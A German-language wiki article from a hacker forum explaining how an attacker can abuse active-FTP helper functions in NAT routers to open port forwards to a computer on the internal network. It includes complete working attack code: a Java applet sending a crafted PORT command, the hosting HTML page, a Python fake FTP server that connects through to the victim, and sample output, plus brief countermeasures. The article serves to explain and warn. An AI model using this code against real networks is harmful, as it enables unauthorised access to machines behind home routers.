PAT-Angriff auf Computer hinter einem Firewallrouter

aus HaBo WiKi, der freien Wissensdatenbank von http://www.hackerboard.de
Wechseln zu: Navigation, Suche

Die Annahme, dass ein Computer hinter einem NAT-Gerät (DSL-Router / externer Firewall) vor sämtlichen Verbindungsversuchen aus dem Internet geschützt sei, ist nicht immer korrekt. Unter gewissen Umständen ist es möglich, aus dem externen Netz heraus das Erzeugen dynamisch erstellter Port-Forwarding-Regeln (PAT) zu initiieren, die einen Verbindungsaufbau auf den Computer im lokalen Netzwerk ermöglichen. Der Artikel beschreibt das Prinzip eines solchen Angriffs am Beispiel von FTP.


Inhaltsverzeichnis

Grundlagen

Die Software des NAT-Gerätes, welche die Übersetzung der internen IP Adressen auf die im Internet gültige IP Adresse durchführt, enthält oftmals spezielle Funktionen, um die Benutzung bestimmter Protokolle zu ermöglichen. Das betrifft vor allem Netzwerkprotokolle, die sich nicht streng an das Client/Server-Prinzip halten.

Bei einem Protokoll, welches das Client/Server-Prinzip konsequent einhält, wird eine Verbindung immer vom Client aufgebaut. HTTP ist ein Beispiel für ein solches Protokoll. Der Client baut eine TCP-Verbindung auf, sendet eine Abfrage und erhält vom Server auf derselben Verbindung die Antwort. Der Server baut also keine Verbindung zum Client auf, um die Antwort zu übertragen.

Anders ist das Vorgehen zum Beispiel bei FTP. Das File Transfer Protocol kennt zwei Betriebsarten, genannt "aktives" und "passives" FTP. In beiden Fällen baut der Client zunächst eine Verbindung zum Server auf. Diese Verbindung wird die Kontrollverbindung genannt, weil darüber Kontrollnachrichten vom Client zum Server geschickt werden und der Server darauf mit Statusmeldungen antwortet. Daten werden über eine zweite Verbindung übertragen. Dabei gelten sowohl Dateien, die ein Client übertragen möchte, als auch zum Beispiel Auflistungen von Verzeichnisinhalten als Daten. Beim aktiven FTP wird diese Datenverbindung allerdings nicht vom Client aufgebaut, sondern vom Server. Nachdem sich der Client mit Benutzername und Passwort beim Server angemeldet hat und der Benutzer des Client eine Aktion veranlasst (z.B. "dir" eingibt), schickt der Client ein PORT Kommando an den Server.

Um diese Art der Verbindung zu ermöglichen, muss das dynamische NAT Gerät, genauer ein PAT-Proxy, den Inhalt des Pakets, welches das PORT Kommando enthält, so umschreiben, dass der Server die vom Internet aus erreichbare IP Adresse sieht, anstatt der internen Adresse des Computers im Netzwerk von dem aus die FTP Verbindung aufgebaut wurde.

Änderung des PORT Kommandos durch eine NAT Firewall bei aktivem FTP

Ausserdem muss das dynamische NAT Gerät eine Port-Forwarding-Regel erstellen, die einen Verbindungsversuch auf den Port für die Datenverbindung zum Client weiterleitet.

Der Angriff

Wenn ein Angreifer den Inhalt des PORT Kommandos beeinflussen kann, ermöglicht ihm das Port-Forwarding-Regeln im dynamischen NAT Gerät anzulegen und so eine Verbindung auf einen beliebigen Port auf dem Computer im internen Netz aufzubauen. Dazu muss natürlich die Möglichkeit bestehen, Code auf dem Zielrechner auszuführen. Dies kann zum Beispiel durch ein Java Applet geschehen, welches auf einer Webseite eingebettet ist, die vom Benutzer des Zielcomputers aufgerufen wird. Solch ein Java Applet muss eine Verbindung zu einem vom Angreifer konfigurierten Programm aufbauen, welches sich wie ein FTP Server verhält.

Mit anderen Worten startet auf dem internen Rechner ein Java Applet, sobald das Opfer eine speziell präparierte Webseite aufgerufen hat. Das Applet baut nun eine Verbindung von innen nach außen auf und gibt dabei an, die Antwort auf einem Port eines beliebigen Dienstes des internen Rechners zu erwarten, auf den der Angreifer zugreifen möchte (z.B. die Dateifreigabe oder der Telnetdienst des internen Rechners). Dadurch legt die externe Firewall eine dynamische Regel an, die den Zugriff auf den Dienst des internen Rechners durch den kontaktierten Internetserver nun erlaubt.

technische Details (für Fortgeschrittene)

Das Format des PORT Kommandos

Das Format des PORT Kommandos ist folgendermaßen: "PORT h1,h2,h3,h4,p1,p2". Dabei sind h1 bis h4 die Dezimalzahlen der einzelnen Bytes, aus denen sich die IP Adresse des Client zusammensetzt. Diese Darstellung ist die allgemein übliche Art IP Adressen für Menschen lesbar zu repräsentieren (z.b. 192.168.1.100). Der einzige Unterschied zu der gängigen Darstellung ist, dass statt Punkten Kommas verwendet werden, um die Bytes zu trennen.

Die darauffolgenden Zahlen p1 und p2 geben den Port an, auf dem der Client auf die Datenverbindung wartet, die ja bei aktivem FTP vom Server aufgebaut wird. Dabei bezeichnet p1 das höherwertige Byte und p2 das niederwertige Byte. Diese Reihenfolge wird als "Network Byte O*rder" bezeichnet und wird in der Regel bei allen Übertragungen über das Internet verwendet. Der Server untersucht nun dieses PORT Kommando und konstruiert daraus eine IP Adresse und eine Portnummer, mit denen eine Verbindung zum Client aufgebaut wird.

Beispiel für eine Verbindung mittels aktivem FTP


Das Applet

Das Applet sendet einen vom Angreifer kontrollierten String der ein PORT Kommando enthält an das Programm des Angreifers, welches daraufhin eine Verbindung zum Zielcomputer aufbauen oder externe Programme starten kann, die eine solche Verbindung aufbauen. Wenn der Angreifer zum Beispiel nach Windows Dateifreigaben auf dem Zielcomputer Ausschau halten will, kann er das Applet so konfigurieren, dass im PORT Kommando der Port 445 (SMB über TCP) angegeben wird. Ein solches Applet ist im folgenden Quellcode beispielhaft angegeben.

import javax.swing.*;
import java.net.*;
import java.io.*;

public class FTPApplet extends JApplet {
	public void start()
	{
		JFrame window = new JFrame("Don't panic!");
		Socket sock = null;
		BufferedReader r = null;
		BufferedWriter w = null;
		try {
			sock = new Socket(getCodeBase().getHost(), 
							  Integer.parseInt(getParameter("serverPort")));
		} catch (Exception e) {
			System.out.println("no socket");
	 	}
		if (sock != null && sock.isConnected()) {
			try {
				r = new BufferedReader(new InputStreamReader(sock.getInputStream()));
				w = new BufferedWriter(new OutputStreamWriter(sock.getOutputStream()));
			} catch (IOException ioex) {
				System.out.println("shit happened");
			}
			int state = 0;
			String line;
			try {
				while (0 == state) {
					line = r.readLine();
					if (line.startsWith("220")) state++;
				}
				String output = "USER anonymous\r\n";
				w.write(output, 0, output.length());
				w.flush();
				while (1 == state) {
					line = r.readLine();
					if (line != null && line.startsWith("331")) state++;
				} 
				output = "PASS me@here.com\r\n";
				w.write(output, 0, output.length());
				w.flush();
				while (2 == state) {
					line = r.readLine();
					if (line != null && line.startsWith("230")) state++;
				}
				int port = Integer.parseInt(getParameter("clientPort"));
				int highbyte = port >> 8;
				int lowbyte = port - (highbyte << 8);
				String ipaddr = sock.getLocalAddress().getHostAddress();
				ipaddr = ipaddr.replace('.', ',');
				output = "PORT ";
				output += ipaddr + "," + highbyte + "," + lowbyte + "\r\n";
				w.write(output, 0, output.length());
				w.flush();
				while(true); // maybe some routers require control connection to be open
			} catch (IOException ioex) {
				System.out.println("shit happened");
			}
		}
	}
}

Die HTML-Seite

Eine minimale HTML-Seite die obiges Applet enthält könnte zum Beispiel so aussehen:

<HTML>
  <HEAD>
    <TITLE>Why active FTP is broken by design</TITLE>
  </HEAD>
  <BODY>
    <APPLET CODE = "FTPApplet.class" WIDTH="300" HEIGHT="100">
      <PARAM NAME="serverPort" VALUE="21">
      <PARAM NAME="clientPort" VALUE="5930">
    </APPLET>
  </BODY>
</HTML>

Das FTP-Programm auf dem Webserver

Schlussendlich ist das ein Beispiel für ein Programm, das vorgibt ein FTP Server zu sein, bis ein PORT Kommando vom Applet empfangen wird. Das Programm muss auf dem gleichen Computer laufen, wie der Webserver, von dem das Applet gestartet wurde. Dies stellt zum einen eine Einschränkung für Java Applets dar. Zum anderen wird je nach verwendeter Software des dynamischen NAT Gerätes nur dem externen Rechner ein Zugriff auf den Port des Gerätes gewährt, der von dem internen Rechner kontaktiert wurde.

Das Programm ist in Python geschrieben, was den Code relativ kurz und gut lesbar macht. Das PORT Kommando wird mittels eines Regulären Ausdrucks zerlegt und in die zum Verbindungsaufbau benötigte Form gebracht.

#!/usr/bin/python
from socket import *
from re import *
s = socket(AF_INET, SOCK_STREAM)
s.bind(('0.0.0.0', 21))
s.listen(1)
while 1:
	(client, address) = s.accept()
	client.send('220 fake_ftpd ready for action\r\n')
	data = client.recv(1024)  # read "USER ..."
	print data
	client.send('331 send pwd\r\n')
	data = client.recv(1024)  # read "PASS ..."
	print data
	client.send('230 logged in\r\n')
	data = client.recv(1024)  # read "PORT ..."
	print data
	p = compile('^PORT ')
	m = p.search(data)
	while not m:
		data = client.recv(1024)
		m = p.search(data)
	client.send('200 PORT command successful\r\n')
	p = compile('([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3}),([0-9]{1,3},[0-9]{1,3})')
	m = p.search(data)
	ipaddr = m.group(1).replace(',','.')
	(high, low) = m.group(2).split(',')
	port = int(high) * 256 + int(low)
	print 'connecting to ' + ipaddr + ':' + str(port)
	target = socket(AF_INET, SOCK_STREAM)
	target.bind(('0.0.0.0', 20))
	target.connect((str(ipaddr), int(port)))
	print 'connected. sending evil string of death'
	target.send('ALL YOUR BASE ARE BELONG TO US!\r\n')
	client.send('221 signing off\r\n')
	client.close()
	target.close()
	break

Wenn man obiges Programm auf einem Computer startet, auf dem auch ein Webserver läuft und über den Webserver das Java Applet zugänglich macht, muss man nur noch das Opfer der Attacke überzeugen, diese Webseite zu betrachten. Angenommen der Webserver mit dem Applet und das "FTP Server" Programm laufen auf einem Computer mit der IP Adresse 200.68.47.11. Die IP Adresse des Zielcomputers im internen Netzwerk lautet 192.168.1.100 und die vom Internet erreichbare Adresse des NAT Geräts an das der Zielcomputer angeschlossen ist lautet 85.97.194.200. Wenn alles funktioniert sieht das Ganze auf Angreiferseite folgendermaßen aus:

$ sudo ./fake_ftpd.py
USER anonymous 

PASS me@here.com

PORT 85,97,194,200,23,42

connecting to 85.97.194.200:5930
connected. sending evil string of death

netcat für den Client …

Um das Ganze zu testen kann man auf dem Zielsystem mit Hilfe des Tools netcat auf Verbindungen auf Port 5930 warten. Das Opfer sieht in der Ausgabe des netcat Prozesses:

$ nc -lvp 5930
listening on [any] 5930 ...
connect to [192.168.1.100] from [200.68.47.11] 20
ALL YOUR BASE ARE BELONG TO US!

Weiterführung und Gegenmaßnahmen

Anstelle einer harmlosen Zeichenkette könnte auch Shellcode, der eine Sicherheitslücke in einem Dienst auf dem Zielcomputer ausnutzt gesendet werden. Oder es könnte, wie oben erwähnt, eine Verbindung zu Ports der Windows Dateifreigabe mit einem geeigneten Programm für die Nutzung solcher Freigaben aufgebaut werden.

Schützen kann man sich vor Angriffen dieser Art nur zuverlässig, indem man die Unterstützung für angreifbare Protokolle im dynamischen NAT Gerät ausschaltet. Allerdings bieten viele einfache DSL-Router nicht diese Möglichkeit, da die notwendigen Einstellungsmöglichkeiten im Administrationsinterface nicht angeboten werden. Weitere Maßnahmen zur Entschärfung des Angriffs sind im Artikel Tipps im Umgang mit externen Firewalls beschrieben.

siehe auch


Weblinks (externe Links)

Computer Forum
Computer Forum
Meine Werkzeuge
Namensräume
Varianten
Aktionen
Navigation
Werkzeuge